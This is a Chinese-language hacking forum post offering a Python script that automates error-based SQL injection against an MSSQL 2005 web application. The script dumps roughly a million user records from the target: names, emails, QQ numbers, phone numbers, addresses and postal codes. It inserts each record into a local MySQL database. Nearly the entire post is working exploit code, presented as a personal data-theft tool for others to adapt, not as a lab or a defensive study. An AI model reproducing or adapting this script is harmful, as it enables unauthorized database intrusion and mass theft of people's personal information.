P.S:搞一站,目的***,一个MSSQL2005点,不支持Union查询,只要有Cast()就报错,所以就直接写脚本***了
此脚本可以直接从抓去页面爆出的数据写入到本地Mysql数据库里~
和上回一样,没来的及完善成通用版本,会Python的稍微改改就好~

复制代码务必在普通IE下复制~

  1. #!/usr/bin/python  
  2. #encoding=utf-8 
  3. ############################################ 
  4. #          Coder:Pnig0s1992 
  5. # Auto Dump the Data by using SQLinjection  
  6. #      GTalk:pnigos70@gmail.com 
  7. #           QQ:459933916        
  8. #Blog:[url=http://pnig0s1992.blog.51cto.com/]http://pnig0s1992.blog.51cto.com/[/url] 
  9. # 
  10. ############################################ 
  11. import urllib 
  12. import MySQLdb 
  13. import sys 
  14. def getData(count,val): 
  15.     tempurl="http://www.xxx.com/xxx.aspx?keyWord=1' and (select top 1 quotename(cast("+val+" as varchar(8000))) from xxx.dbo.xxx where cast("+val+" as varchar) not in (select top "+str(count)+" \ 
  16.     cast("+val+" as varchar) from xxx.dbo.xxx))=0--" 
  17.     quoteUrl=urllib.quote_plus(tempurl,safe='\':/?-&*.=-()'
  18.     feed = urllib.urlopen(quoteUrl) 
  19.     getItem = feed.read(2048
  20.     IBegin = getItem.find('[')+1 
  21.     IEnd = getItem.find(']'
  22.     data = getItem[IBegin:IEnd].strip() 
  23.     feed.close() 
  24.     return data 
  25.  
  26. if __name__ == "__main__"
  27.     print "\t\tCode by:Pnig0s1992\t\t" 
  28.     print "\t\tGTalk:pnigos70@gmail.com\t\t" 
  29.     print "\t\tQQ:459933916\t\t" 
  30.     url="http://www.xxx.com/xxx.aspx?keyWord=1' \ 
  31.     and (select quotename(count(*)) from xxx.dbo.xxx)=0--" 
  32.     enurl = urllib.quote_plus(url,safe='\':/?-&*.=-()'
  33.     fd = urllib.urlopen(enurl) 
  34.     getSum = fd.read(2048
  35.     Begin = getSum.find('[')+1 
  36.     End = getSum.find(']'
  37.     print "%s 's items for all" % getSum[Begin:End] 
  38.     print "Holding for dumping...." 
  39.     for count in xrange(0,1012750): 
  40.         print "The No.%d items:" % (count+1
  41.         sname = getData(count,'SNAME'
  42.         print "Name:%s" % sname 
  43.         content = getData(count,'CONTENT'
  44.         print "Content:%s" % content 
  45.         sex = getData(count,'G_SEX'
  46.         print "Sex:%s" % sex 
  47.         g_mail = getData(count,'G_MAIL'
  48.         print "Email:%s" % g_mail 
  49.         g_qq = getData(count,'G_QQ'
  50.         print "QQ:%s" % g_qq 
  51.         g_sj = getData(count,'G_SJ'
  52.         print "MobilPhone:%s" % g_sj 
  53.         g_tel = getData(count,'G_TEL'
  54.         print "Tel:%s" % g_tel 
  55.         g_adds = getData(count,'G_ADDS'
  56.         print "Address:%s" % g_adds 
  57.         g_post = getData(count,'G_POST'
  58.         print "PostalNum:%s" % g_post 
  59.         g_time = getData(count,'G_TIME'
  60.         print "Date:%s" % g_time 
  61.         g_url = getData(count,'G_URL'
  62.         print "Url:%s" % g_url 
  63.         try
  64.             conn = MySQLdb.connect(host="localhost",port=3306,user="root",passwd="root",db="data"
  65.         except Exception,e: 
  66.             print "Connect database failed." 
  67.             sys.exit() 
  68.         cursor = conn.cursor() 
  69.         sql = "insert into xxxdata(SNAME,CONTENT,G_sex,G_mail,G_QQ,G_SJ,G_Tel,G_adds,G_post,G_time,\ 
  70.                G_url) values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')" % (sname,content,sex,g_mail,g_qq,g_sj,g_tel,g_adds,g_post,g_time,g_url) 
  71.         try
  72.             cursor.execute(sql) 
  73.         except Exception,e: 
  74.             print "Insert data failed" 
  75.             sys.exit() 
  76.         print "Current items has been written to database." 
  77.         print ""